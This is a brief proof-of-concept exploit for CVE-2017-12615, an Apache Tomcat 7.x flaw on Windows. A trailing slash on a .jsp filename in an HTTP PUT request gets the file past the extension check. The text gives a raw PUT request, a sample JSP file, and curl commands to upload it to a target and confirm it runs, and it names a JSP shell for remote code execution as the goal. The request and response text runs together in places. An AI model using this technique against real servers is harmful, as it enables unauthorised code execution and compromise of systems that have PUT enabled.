POC Exploit for Apache Tomcat 7.0.0 to 7.0.79 running on Windows; CVE-2017-12615 PUT JSP vulnerability.
By design, you are not allowed to upload JSP files via the PUT method on the Apache Tomcat servers. This is likely a security measure to prevent an attacker from uploading a JSP shell and gaining remote code execution on the server. However, due to the insufficient checks, an attacker could gain remote code execution on 7.0.{0 to 79} Tomcat servers that has enabled PUT by requesting PUT method on the Tomcat server using a specially crafted HTTP request. But seriously, special? Please.
By appending a '/' character behind the filename's extension, one can bypass the file extension check. That's it. So, not that special actually.
PUT /myfile.jsp/
Host: domain-name:port

<% out.write("<html><body><h3>[+] JSP upload successfully.</h3></body></html>"); %>HTTP/1.1 201 Created

Connection: close- Create a .jsp file (e.g. test.jsp):
<% out.write("<html><body><h3>[+] JSP file successfully uploaded via curl and JSP out.write executed.</h3></body></html>"); %>- Perform the curl command on target server:
curl -X PUT http://target-host-or-ip-address:port/test.jsp/ -d @- < test.jsp- Check if your file is uploaded by browsing to the target address or:
curl http://target-host-or-ip-address:port/test.jsp
